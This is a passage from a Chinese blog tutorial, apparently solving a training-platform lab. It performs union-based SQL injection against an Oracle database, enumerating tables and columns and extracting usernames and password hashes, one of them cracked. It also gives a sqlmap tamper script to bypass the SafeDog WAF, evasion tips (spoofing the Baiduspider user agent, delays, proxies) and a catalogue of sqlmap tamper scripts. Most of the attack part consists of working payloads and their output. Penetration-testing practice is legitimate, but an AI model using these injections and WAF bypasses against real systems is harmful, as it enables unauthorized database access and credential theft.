1 and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual

SYS

1 and 1=2 union select (select distinct owner from all_tables where rownum=1 and owner<>'SYS'),'2' from dual

OUTLN

1 and 1=2 union select (select distinct owner from all_tables where rownum=1 and owner<>'SYS' and ower<>'OUTLN'),'2' from dual
5、查询表名
1 and 1=2 union select '1',table_name from user_all_tables where rownum=1

LOGMNR_PARAMETER$

1 and 1=2 union select '1',table_name from user_all_tables where rownum=1 and table_name<>'LOGMNR_PARAMETER$'

LOGMNR_SESSION$

1 and 1=2 union select '1',table_name from user_all_tables where rownum=1 and table_name<>'LOGMNR_PARAMETER$' and table_name<>'LOGMNR_SESSION$'

MVIEW$_ADV_WORKLOAD

1 and 1=2 union select '1',table_name from user_all_tables where rownum=1 and table_name<>'LOGMNR_PARAMETER$' and table_name<>'LOGMNR_SESSION$' and table_name<>'MVIEW$_ADV_WORKLOAD'

MVIEW$_ADV_BASETABLE

。。。。。。

这里由于表太多,我们直接使用模糊查询

1 and 1=2 union select (select table_name from user_all_tables where rownum=1 and table_name like '%user%'),'2' from dual

sns_users

1 and 1=2 union select (select table_name from user_all_tables where rownum=1 and table_name like '%user%' and table_name<>'sns_users'),'2' from dual

发现只有这一张表

6、查询字段名
1 and 1=2 union select '1',column_name from user_tab_columns where rownum=1 and table_name='sns_users'

USER_NAME

1 and 1=2 union select '1',column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name<>'USER_NAME'

USER_PWD

1 and 1=2 union select '1',column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name<>'USER_NAME' and column_name<>'USER_PWD'

STATUS

。。。。。

7、查询数据
1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

最后这里需要加上" ",双引号,应该是Oracle数据库的规则。

得到账号密码

zhong

1c63129ae9asc60asdua94d3e00495

这里有一个坑就是,这个不是真的墨者账号密码,还需要继续查数据

1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME<>'zhong'

hu

1c63129ae9db9g20asdua94d3e00495

1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME<>'zhong' and USER_NAME<>'hu'

mozhe

0ca941b2a38e53adf2dd32fb7d8dffbf md5解密之后(229780)

得到真正的账号密码

5、sqlmap棒打安全狗

Python脚本如下:

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Bypass SafeDog

    """
    if '--' in payload:
        payload = payload.split('--')[0]

    return '/*!50001-- qwe/*%0a'+payload+'*/' if payload else payload

有时候上面的脚本,写对了,但是真实绕过的时候,还是不能绕过。

主要原因还有很多,

一、安全狗对sqlmap的ua头进行拦截,解决方法,在sqlmap的时候,加上–random-agent,这时候再去用sqlmap的时候就是随机ua头,而不是sqlmap的头了

二、流量拦截,流量拦截就是访问过快,当访问过快被拦截之后,我们可以延时注入,直接加上参数就行–delay x ‘x’是延时的等级,或者更好的办法是利用各大搜索引擎的爬虫ua,当安全狗检测到我们的ua是搜索引擎的,会认为是搜索引擎在扫描,就不会拦截了。

1、爬虫

百度搜索引擎的爬虫

Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)

2、代理池

3、中转注入

4、结合burp

python sqlmap.py -u "url" --proxy "http://127.0.0.1:8080"

这样,使用sqlmap的时候,sqlmap就会走burp代理,然后就可以学习别人的payload,或者说观察是哪里被拦截了,或者说对比一下正常的数据包哪里不一样,从而找出问题所在,然后编写对应的脚本进行绕过。

6、空格绕过

使用/**/ 可以代替空格
还有以下几种有时候也能绕过空格
1、()
2、+
3、%09、%0a、%0b、%0c、%0d
4、/**/

7、sqlmap自带脚本讲解

1、apostrophemask.py

用UTF-8全角字符替换单引号字符

2、 apostrophenullencode.py

用非法双字节unicode字符替换单引号字符

3、 appendnullbyte.py

在payload末尾添加空字符编码

4、 base64encode.py

对给定的payload全部字符使用Base64编码

5、 between.py

分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=

6、 bluecoat.py

在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号

7、 chardoubleencode.py

对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)

8、 charencode.py

对给定的payload全部字符使用URL编码(不处理已经编码的字符)

9、 charunicodeencode.py

对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)

10、 concat2concatws.py

用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例

11、 equaltolike.py

用“LIKE”运算符替换全部等于号“=”

12、 greatest.py

用“GREATEST”函数替换大于号“>”

13、 halfversionedmorekeywords.py

在每个关键字之前添加MySQL注释

14、 ifnull2ifisnull.py

用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例

15、 lowercase.py

用小写值替换每个关键字字符

16、modsecurityversioned.py

用注释包围完整的查询

17、 modsecurityzeroversioned.py

用当中带有数字零的注释包围完整的查询

18、 multiplespaces.py

在SQL关键字周围添加多个空格

19、nonrecursivereplacement.py

用representations替换预定义SQL关键字,适用于过滤器

20、 overlongutf8.py

转换给定的payload当中的所有字符

21、 percentage.py

在每个字符之前添加一个百分号

22、 randomcase.py

随机转换每个关键字字符的大小写

23、 randomcomments.py

向SQL关键字中插入随机注释

24、 securesphere.py

添加经过特殊构造的字符串

25、 sp_password.py

向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs

26、 space2comment.py

用“/**/”替换空格符

27、 space2dash.py

用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符

28、 space2hash.py

用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

29、space2morehash.py

用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

30、 space2mssqlblank.py

用一组有效的备选字符集当中的随机空白符替换空格符

31、 space2mssqlhash.py

用磅注释符“#”其次是一个换行符替换空格符

32、 space2mysqlblank.py

用一组有效的备选字符集当中的随机空白符替换空格符

33、 space2mysqldash.py

用破折号注释符“–”其次是一个换行符替换空格符

34、 space2plus.py

用加号“+”替换空格符

35、 space2randomblank.py

用一组有效的备选字符集当中的随机空白符替换空格符

36、 unionalltounion.py

用“UNION SELECT”替换“UNION ALL SELECT”

37、unmagicquotes.py

用一个多字节组合%bf%27和末尾通用注释一起替换空格符 宽字节注入

38、 varnish.py

添加一个HTTP头“X-originating-IP”来绕过WAF

39、 versionedkeywords.py

用MySQL注释包围每个非函数关键字

40、 versionedmorekeywords.py

用MySQL注释包围每个关键字

41、 xforwardedfor.py

添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

  • 0
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值